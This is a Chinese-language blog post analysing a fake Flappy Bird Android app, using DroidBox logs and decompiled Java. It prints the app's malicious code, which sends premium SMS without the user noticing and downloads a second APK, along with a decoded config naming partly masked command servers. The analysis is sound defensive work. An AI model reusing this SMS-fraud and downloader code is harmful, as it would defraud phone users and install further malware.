0x00 背景
Flappy Bird是在年初的时候非常火爆的一个小游戏，但是后来作者在2014年2月10日将其在Apple与Google商店下架，因为这游戏太容易让人上瘾了。
这时候就有很多恶意的Flappy Bird软件在商店上冒出来。
捕获到一个恶意版本的Flappy Bird可以在用户没有察觉的情况下发送短信。
App MD5：6c357ac34d061c97e6237ce9bd1fe003
所使用的工具：
DroidBox一个动态分析工具，他为我们展示了一个程序运行时具体在做什么Android Emulator包含在Android SDK- 用来模拟运行APK文件
dex2jar- 反编译可执行文件 (.dex/.odex) 输出 .jar 文件
JD-GUI显示 jar 文件java源代码的GUI工具
本次分析分为两个部分：
动态分析 静态分析
在动态分析截断，我们会让app在模拟环境中运行，看看他访问哪些文件和网站，这个是我们在静态分析中寻找相关代码的关键。
在静态分析截断，我们会逆向APK文件出源代码，这让我们能从源代码中找出恶意行为发生的原因。
0x01 动态分析
使用的最主要的工具就是DroidBox。
我在Linux Ubuntu上装了测试，没有发现什么问题。
安装DroidBox之前你需要安装Python包括pylab跟matplotlib库。
Python安装之后需要在http://developer.android.com/sdk/index.html下载安装Android SDK
在终端下输入下面两条命令来导入SDK的路径，这样我们在任何目录可以直接使用SDK相关命令。
export PATH=$PATH:/path/to/android-sdk/tools/ export PATH=$PATH:/path/to/android-sdk/platform-tools/
下载最新的DroidBox：
wget http://droidbox.googlecode.com/files/DroidBox411RC.tar.gz
解压缩进入目录：
tar -zxvf DroidBox411RC.tar.gz cd DroidBox411RC
现在我们可以建立一个Android虚拟主机创建一个Android Nexus4的设备运行Android 4.2.1版本。
android
进入DroidBox目录，运行Android模拟器
./startemu.sh <AVD name>
等待启动完之后，安装运行Flappy Bird：
./droidbox.sh flappy-bird.apk
你将在终端看到：
____ __ ____ // _`/ __ // /// _`/ / / /// / _ __ ___ //_/ /_/ / / /L/ / ___ __ _ / / / / ///`'__/ __`/// / /'_` / / _ <' / __`/// //'/ / / /_/ / / /// /L/ / / /// /L/ / / /L/ / /L/ //> </ / /____// /_/ /____// /_/ /___,_/ /____/ /____///_//_/ //___/ //_///___/ //_///__,_ ///___/ //___/ /////_/ Waiting for the device... Installing the application flappy-bird.apk... Running the component com.hdc.bookmark3934/com.hdc.mlink_x5.MainActivity... Starting the activity com.hdc.mlink_x5.MainActivity... Application started Analyzing the application during infinite time seconds... [-] Collected 13 sandbox logs (Ctrl-C to view logs)
在虚拟窗口，你应该能看到Flappy Bird的运行，DroidBox也在记录了Flappy Bird的日志，按 Ctrl-C停止DroidBox然后查看日志。
DroidBox输出的日志是JSOn格式的，下面是一个其中一些日志：
{ "apkName": "flappy-bird.apk", "enfperm": [ ], "recvnet": { "2.104520797729492": { "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343620474d540d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365", "host": "210.***.***.195", "type": "net read", "port": "80" }, "2.1131179332733154": { "data": "0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a582d506f77657265642d42793a205048502f352e332e330d0a5365742d436f6f6b69653a205048505345535349443d753272317133646275743568656631616d6f3830626e746172323b20", "host": "210.***.***.195", "type": "net read", "port": "80" }, "2.1321218013763428": { "data": "742d456e636f64696e670d0a436f6e74656e742d456e636f64696e673a20677a69700d0a0d0a1f8b08000000000000033337373100004a2f6ff00400000076616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50", "host": "210.***.***.195", "type": "net read", "port": "80" }, "3.130279779434204": { "data": "436f6e74726f6c3a206d61782d6167653d3630343830300d0a4163636570742d52616e6765733a2062797465730d0a0d0affd8ffe000104a46494600010101004800480000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f14", "host": "210.***.***.195", "type": "net read", "port": "80" }, "13.584807872772217": { "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353720474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a", "host": "210.***.**.196", "type": "net read", "port": "80" }, "11.968261957168579": { "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca", "host": "210.***.**.196", "type": "net read", "port": "80" }, "2.8462908267974854": { "data": "65643a205361742c2030382046656220323031342030323a31323a303020474d540d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a455461673a202235326635393237302d32326433220d0a457870697265733a2053756e2c203233204d", "host": "210.***.***.195", "type": "net read", "port": "80" }, "2.8404297828674316": { "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343720474d540d0a436f6e74656e742d547970653a20696d6167652f6a7065670d0a436f6e7465", "host": "210.***.***.195", "type": "net read", "port": "80" }, "11.675630807876587": { "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353520474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a", "host": "210.***.**.196", "type": "net read", "port": "80" }, "11.910815000534058": { "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368", "host": "210.***.**.196", "type": "net read", "port": "80" }, "14.005896806716919": { "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca", "host": "210.***.**.196", "type": "net read", "port": "80" }, "13.692770957946777": { "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368", "host": "210.***.**.196", "type": "net read", "port": "80" }, "2.1189818382263184": { "data": "20313938312030383a35323a303020474d540d0a43616368652d436f6e74726f6c3a206e6f2d73746f72652c206e6f2d63616368652c206d7573742d726576616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50", "host": "210.***.***.195", "type": "net read", "port": "80" } }, "servicestart": { }, "sendsms": { "7.549656867980957": { "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "type": "sms", "number": "7740" }, "10.157855987548828": { "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "type": "sms", "number": "7740" } }, "cryptousage": { }, "sendnet": { "1.6028339862823486": { "type": "net write", "desthost": "210.***.***.195", "fd": "16", "operation": "send", "data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31", "destport": "80" }, "2.5497188568115234": { "type": "net write", "desthost": "210.***.***.195", "fd": "19", "operation": "send", "data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e", "destport": "80" }, "11.307919979095459": { "type": "net write", "desthost": "210.***.**.196", "fd": "26", "operation": "send", "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75", "destport": "80" }, "13.101272821426392": { "type": "net write", "desthost": "210.***.**.196", "fd": "28", "operation": "send", "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75", "destport": "80" } }, "accessedfiles": { "1033683943": "/proc/1188/cmdline", "1067199142": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt", "1325730693": "/proc/1163/cmdline", "839394932": "/proc/1174/cmdline" }, "fdaccess": { "4.386643886566162": { "path": "/proc/1163/cmdline", "operation": "read", "data": "636f6d2e6864632e626f6f6b6d61726b333933340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972", "id": "1325730693", "type": "file read" }, "4.41674280166626": { "path": "/proc/1174/cmdline", "operation": "read", "data": "6c6f676361740044726f6964426f783a570064616c76696b766d3a570041637469766974794d616e616765723a49000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972", "id": "839394932", "type": "file read" }, "15.97931981086731": { "path": "/proc/1188/cmdline", "operation": "read", "data": "636f6d2e616e64726f69642e7061636b616765696e7374616c6c6572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972", "id": "1033683943", "type": "file read" }, "10.113840818405151": { "path": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt", "operation": "write", "data": "00086d6c696e6b5f7835", "id": "1067199142", "type": "file write" } }, "dataleaks": { }, "opennet": { "1.300102949142456": { "desthost": "210.***.***.195", "fd": "16", "destport": "80" }, "2.210848808288574": { "desthost": "210.***.***.195", "fd": "19", "destport": "80" }, "12.578583002090454": { "desthost": "210.***.**.196", "fd": "28", "destport": "80" }, "10.951124906539917": { "desthost": "210.***.**.196", "fd": "26", "destport": "80" } }, "recvsaction": { "vn.adflex.sdk.AdFlexBootUpReceiver": "android.intent.action.PACKAGE_RESTARTED" }, "dexclass": { "0.32921576499938965": { "path": "/data/app/com.hdc.bookmark3934-1.apk", "type": "dexload" }, "15.300875902175903": { "path": "/system/app/PackageInstaller.apk", "type": "dexload" } }, "hashes": [ "6c357ac34d061c97e6237ce9bd1fe003", "79e911f1b3c0f1ccd2012832b92fdff548d54b3f", "5782758e98698dbcfa1821a56d4501c73efeeec7425dd5aa129e386542666cd5" ], "closenet": { }, "phonecalls": { } }
隐藏了部分敏感信息，日志其中最明显的是发送了两条短信。
"sendsms": { "7.549656867980957": { "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "type": "sms", "number": "7740" }, "10.157855987548828": { "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "type": "sms", "number": "7740"
把BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934发送到号码7740那里。
根据下面的日志可以得出：
"sendnet": { "1.6028339862823486": { "type": "net write", "desthost": "210.***.***.195", "fd": "16", "operation": "send", "data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31", "destport": "80" }
该app访问了210...195这个ip，发送了如下数据：
474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31
数据是16进制编码的，转为ASCII：
GET /bookmark/getServiceCode?price=15000 HTTP/1.1 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1
所以这个app访问URL http://210...195/bookmark/getServiceCode?price=15000，那么返回值是什么呢？返回值为7740，也就是发送短信过去的号码。
尝试了一下修改不容的price的值，返回的结果不同：
price=20000 returns 7040 price=30000 returns 7040 price=10000 returns 7640 price=5000 returns 7540 price=1000 returns 7040
根据波兰网站http://www.ilekosztujesms.pl/07540/显示，往该号码发送短信将花费5波兰罗提（差不多相当于10人民币）。
还有个奇怪的东西：
"2.5497188568115234": { "type": "net write", "desthost": "210.***.***.195", "fd": "19", "operation": "send", "data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e", "destport": "80" }
解码出来之后看到数据包为：
GET /upload/bookmark/2014/0208/flappy_1.jpg HTTP/1.1 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.
这个我们稍后在静待分析阶段分析。
总结：我们现在知道了Flappy Bird连接到哪些网站，给付费号码发送短信，并且可以根据接口返回不同发向不同的付费号码。因此可以推测，这个恶意app通过此来赚钱。
但是210.*..196这个IP是做什么的呢？
"11.307919979095459": { "type": "net write", "desthost": "210.***.**.196", "fd": "26", "operation": "send", "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75", "destport": "80" }
解码后显示访问地址为
http://210.***.**.196/app/flappy.apk
上面数据表明，改程序正在下载另一个APK：flappy.apk。
或许我们的Flappy Bird只是一个下载者。
这样我们就知道app做了什么了：
- 发送短信扣费。
- 下载其他的Flappy Bird。
根据这些信息，我们来静态分析定位其中相关的源代码。
0x02 静态分析
第一步就是把APK文件反编译为Java代码。
开始之前我们来看一下APK文件的解构：
META-INF: 文件夹 lib: 编译后的代码目录 res: APK所需要的资源文件夹 assets: 应用程序资源目录 AndroidManifest.xml: 一个传统的Android清单文件，用于描述该应用程序的名字、版本号、所需权限、注册的服务、链接的其他应用程序。 classes.dex: classes文件通过DEX编译后的文件格式，用于在Dalvik虚拟机上运行的主要代码部分。 resources.arsc: 预编译文件
所以我们最感兴趣的文件为classes.dex，我们希望把classes.dex文件转为jar文件，这可以通过dex2jar来完成：
先从http://code.google.com/p/dex2jar/downloads/list下载解压dex2jar。
unzip -x dex2jar-version.zip -d /home/user/dex2jar
一旦解压之后，就可以使用反编译APK文件了：
sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/flappy-bird.apk
将会生成一个可以使用JD-GUI打开的jar文件。
从http://jd.benow.ca/#jd-gui-downloadenter link description here下载并解压JD-GUI。
tar -zxvf jd-gui-version.linux.i686.tar.gz
运行打开JD-GUI载入Flappy Bird的jar文件，看到内容如下：
寻找左边的类文件列表，其中有一个在utilities包下的SendSMS类，看起来很像是一个发送短信的类。
SendSMS.class
package com.hdc.ultilities; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.telephony.SmsManager; import android.util.Log; import android.widget.Toast; public class SendSMS { public static String address; public static String dauso_last; public static String dauso_x; public static int discount; public static void send(String paramString1, String paramString2, Context paramContext, String paramString3, int paramInt, String paramString4) { address = paramString2.trim(); discount = paramInt; dauso_x = paramString3; dauso_last = paramString4; new Thread(new Runnable(paramContext, paramString1) { public void run() { try { PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0); PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0); SmsManager localSmsManager = SmsManager.getDefault(); SendSMS.this.registerReceiver(new BroadcastReceiver(SendSMS.this, this.val$data) { public void onReceive(Context paramContext, Intent paramIntent) { switch (getResultCode()) { case 0: case 2: case 3: case 4: default: case -1: case 1: } do { return; Toast.makeText(this.val$instance, "G?i thành công", 0).show(); Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last); return; SendSMS.discount = -1 + SendSMS.discount; } while (SendSMS.discount < 0); Toast.makeText(this.val$instance, "G?i ko ???c", 0).show(); Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last); SendSMS.send(this.val$data, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last, this.val$instance, SendSMS.dauso_x, SendSMS.discount, SendSMS.dauso_last); } } , new IntentFilter("SMS_SENT")); localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2); return; } catch (Exception localException) { localException.printStackTrace(); } } }).start(); } }
下面这段代码负责发送短信：
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
这两段代码是隐藏短信发送与到达通知：
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0); PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
sendTextMessage方法是Android其中一个API（参阅android.telephony.gsm.SmsManager）。
根据这个，我们可以明确的知道程序发送短信以及隐藏相关操作的代码。
下一个问题就是，这个短信是什么时候发送的呢，是由用户触发的还是其他的呢？
来看一下MainActivity.class文件：
MainActivity.class: Global Variables Snippet
public String pop_up1 = "B?ng cách cài ??t và s? d?ng trò ch?i, ph?n m?m này, b?n ???c coi nh? ?ã ch?p nh?n các ?i?u kho?n s? d?ng d??i ?ây c?a chúng tôi: /n1. Không g? b? ho?c vô hi?u hóa b?t k? bi?n pháp b?o v?, quy?n s? h?u hay b?n quy?n có trên ho?c trong trò ch?i, ph?n m?m /n2. Không t?o ra các b?n sao b?t ch??c các tính n?ng ho?c giao di?n, d? li?u c?a trò ch?i, ph?n m?m này./n3. Không s? d?ng trò ch?i, ph?n m?m này làm công c? ?? gây h?i cho nh?ng ng??i dùng khác./n4. S?n ph?m có phí và b?n c?n thanh toán ?? ti?p t?c s? d?ng sau th?i gian dùng th?./n5. Phí s? d?ng s?n ph?m t? 15.000 ? ??n 30.000 ?."; public String pop_up2 = " B?n có mu?n kích ho?t không?";
这两个字符串都为越南文，根据google翻译：
pop_up1：“通过安装和使用游戏，软件，你将被视为已接受了我们的使用下面的条款： 不要删除或禁用任何防护措施，或在游戏中所有权或著作权，软件。 不要创建重复或模仿界面功能，游戏数据，此软件。 不要使用游戏，软件作为一种工具来造成危害其他用户。 我们的产品是免费的，你需要付费才能继续试用期后使用。 收费使用的产品从15,000越盾30,000越盾。“ pop_up2：“你想要激活吗”
这些看起来像标准条款和条件，只是Flappy Bird是一个免费的应用程序，所以不应该花费。有趣的是在15000的花费与上面访问的URL应该是一样的：http://210...195/bookmark/getServiceCode?price=15000）。
后来在MainActivity.class文件的initListView中找到产生这些对话伴并随着一些发送短信动作代码。下面是从类文件中的代码摘录：
MainActivity.class: Code Extract
while (Service_mLink.number_send == 1) { openPop_up(this.pop_up1, Service_mLink.number_send, 1); this.listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong) { Integer localInteger = Integer.valueOf(0); MainActivity.linkInfo = new LinkInfo(); MainActivity.linkInfo = (LinkInfo)Service_mLink.instance.listLinkInfo.get(paramInt); MainActivity.this.link = MainActivity.linkInfo.getLink(); MainActivity.this.mo = MainActivity.linkInfo.getMo(); MainActivity.this.servicecode = Service_mLink.svcodeActive; MainActivity.this.servicecode2 = MainActivity.linkInfo.getServicecode2(); if (localInteger.intValue() == 0) MainActivity.this.isFirstTime = FileManager.loadFtime(MainActivity.this, MainActivity.this.ftime); while ((MainActivity.this.servicecode.equals("")) && (MainActivity.this.servicecode2.equals(""))) { Log.e("servicecodeAll", MainActivity.this.servicecode + "sv : sv2" + MainActivity.this.servicecode2); MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString = new String[2]; arrayOfString[0] = MainActivity.this.link; arrayOfString[1] = MainActivity.linkInfo.getTitle(); localDownloadFileFromURL.execute(arrayOfString); return; Integer.valueOf(1 + localInteger.intValue()); } if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE")) MainActivity.this.checkSVCode(MainActivity.this.servicecode2); while (true) { AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this); TextView localTextView = new TextView(MainActivity.this); localTextView.setText(MainActivity.this.txt_content); localTextView.setGravity(1); localTextView.setTextColor(Color.parseColor("#ffffff")); localBuilder.setView(localTextView); localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener() { public void onClick(DialogInterface paramDialogInterface, int paramInt) { if (Service_mLink.instance.isSim) { MainActivity.this.checkInternet(); if (MainActivity.this.isConnect) { if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE")) SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); try { while (true) { Toast.makeText(MainActivity.this.getApplicationContext(), "Ca?m ?n ba?n ?a? s?? du?ng di?ch vu?", 1000).show(); Thread.sleep(1000L); paramDialogInterface.cancel(); MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString = new String[2]; arrayOfString[0] = MainActivity.this.link; arrayOfString[1] = MainActivity.linkInfo.getTitle(); localDownloadFileFromURL.execute(arrayOfString); return; SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); } } catch (InterruptedException localInterruptedException) { while (true) localInterruptedException.printStackTrace(); } } AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this); localBuilder.create(); localBuilder.setTitle("Thông báo"); localBuilder.setMessage("B?n vui lòng ki?m tra k?t n?i Internet !!!"); localBuilder.show(); return; } Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i./n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show(); } }); localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { public void onClick(DialogInterface paramDialogInterface, int paramInt) { paramDialogInterface.cancel(); } }); localBuilder.show(); return; MainActivity.this.checkSVCode(MainActivity.this.servicecode); } } }); return; label249: checkSVCode(Service_mLink.svcodeActive); }
看起来一旦用户点击了“确定”，就将会发送短信，代码中一共包含两个
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
但是第二个是在return的后面，也就意味着不会执行，但是为什么动态分析当中看到了两次发送短信呢？
上面代码中的第三行调用了openPop_up方法，来看看其中的代码：
MainMethod.class: method openPop_up
public void openPop_up(String paramString, int paramInt1, int paramInt2) { AlertDialog.Builder localBuilder = new AlertDialog.Builder(this); View localView = LayoutInflater.from(this).inflate(2130903043, null); this.tvlaw = ((TextView)localView.findViewById(2131230726)); this.tvlaw.setText(paramString); this.tvlaw.setTextColor(-1); if (paramInt2 == 1) localBuilder.setTitle("?i?u kho?n s? d?ng"); localBuilder.setView(localView); localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener(paramInt2, paramInt1) { public void onClick(DialogInterface paramDialogInterface, int paramInt) { if (Service_mLink.instance.isSim) { if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE")) { SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); Log.i("i", this.val$i); if (Service_mLink.instance.listLinkInfo.size() != 1) break label345; if ((this.val$number_send == 1) && (this.val$i == 1)) { FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString2 = new String[2]; arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink(); arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle(); localDownloadFileFromURL2.execute(arrayOfString2); } if ((this.val$number_send == 2) && (this.val$i == 2)) { FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString1 = new String[2]; arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink(); arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle(); localDownloadFileFromURL1.execute(arrayOfString1); } } while (true) { paramDialogInterface.cancel(); return; SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); break; label345: if ((this.val$number_send == 1) && (this.val$i == 1)) FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); if ((this.val$number_send != 2) || (this.val$i != 2)) continue; FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); } } Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i./n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show(); } }); localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener(paramInt2, paramInt1) { public void onClick(DialogInterface paramDialogInterface, int paramInt) { if (this.val$i == 1) try { MainActivity.this.auto_sms = DownloadImage.instance.getAuto_sms2(Service_mLink.url_config_auto_sms); Log.i("auto_sms", MainActivity.this.auto_sms); if (Service_mLink.instance.isSim) { boolean bool = MainActivity.this.auto_sms.equals("1"); int i = 0; if (bool) { if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE")) { SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); i = 1; } } else { Log.i("i", this.val$i); if (Service_mLink.instance.listLinkInfo.size() != 1) break label450; if ((this.val$number_send == 1) && (this.val$i == 1)) { FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString2 = new String[2]; arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink(); arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle(); localDownloadFileFromURL2.execute(arrayOfString2); } if ((this.val$number_send == 2) && (this.val$i == 2)) { FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this); String[] arrayOfString1 = new String[2]; arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink(); arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle(); localDownloadFileFromURL1.execute(arrayOfString1); } paramDialogInterface.cancel(); if (i == 0) { if (!Service_mLink.link_redirect.equals("")) MainActivity.this.startWebsite(Service_mLink.link_redirect); System.exit(1); } return; } } } catch (Exception localException) { while (true) { MainActivity.this.auto_sms = "0"; continue; SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last); continue; label450: if ((this.val$number_send == 1) && (this.val$i == 1)) FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); if ((this.val$number_send != 2) || (this.val$i != 2)) continue; FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime); } Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i./n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show(); return; } paramDialogInterface.cancel(); if (!Service_mLink.link_redirect.equals("")) MainActivity.this.startWebsite(Service_mLink.link_redirect); System.exit(1); } }); localBuilder.show(); }
因此，在创建弹出对话时，该方法触发了发送短信，这可以解释为什么我们的动态分析时，发出了两个短信。
现在还有个问题就是没有看到短信从哪里发送的，没有看到短信的号码，短信内容，以及访问的URL是在哪里定义的。
在app的源代码中找到了一些线索，如何解码一个配置文件内容，特别是一个叫getInfoFromFile方法。
MainActivity.class: getInfoFromFile()
private void getInfoFromFile() { new ArrayList(); ArrayList localArrayList = FileManager.loadfileExternalStorage(this, 2130837505); try { this.strDecode = new String(Base64.decode(((String)localArrayList.get(0)).toString())); Service_mLink.instance.getCategory(this.strDecode); this.have_img = readImage(); this.isFirstTime = FileManager.loadFtime(this, this.ftime); return; } catch (Exception localException) { localException.printStackTrace(); } }
可以看到其功能为读取文件base64解码处理。
仔细查看APK文件，在res目录下有一个drawable-hdpi的目录，在这个目录下有一个config文件，为base64编码的。
解码config文件:
{ "sv_code_active": "7740", "sv_code_active_2": "7740", "mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "bm_name": "Flappy bird", "header_color": "#1E8CBE", "background_color": "#F0F0F0", "font_header_color": "#F0F0F0", "font_item_color": "#333333", "number_send": "2", "type_display": "1", "include_sdk": "0", "link_redirect": "http://choi****game.cu****h.mobi", "items": [ { "serviceCode": "7740", "serviceCode2": "7740", "mo": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934", "title": "Flappy bird", "link_icon": "http://cu****h.mobi/upload/bookmark/2014/0208/flappy_1.jpg", "link": "http://andr****ot.net/app/flappy.apk" } ], "url_config_auto_sms": "http://cu****h.mobi/bookmark/getConfigSendSMS", "url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000" }
到此基本都了解到了，进一步看了flappy.apk文件看看具体是做什么的，好像也只是个发送短信扣费的应用。
0x03 总结
事实证明，这个Flappy Bird是一个恶意应用，发送付费短信，并会下载其他恶意的应用。
此次检测用到的工具都是免费的工具可以下载到。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论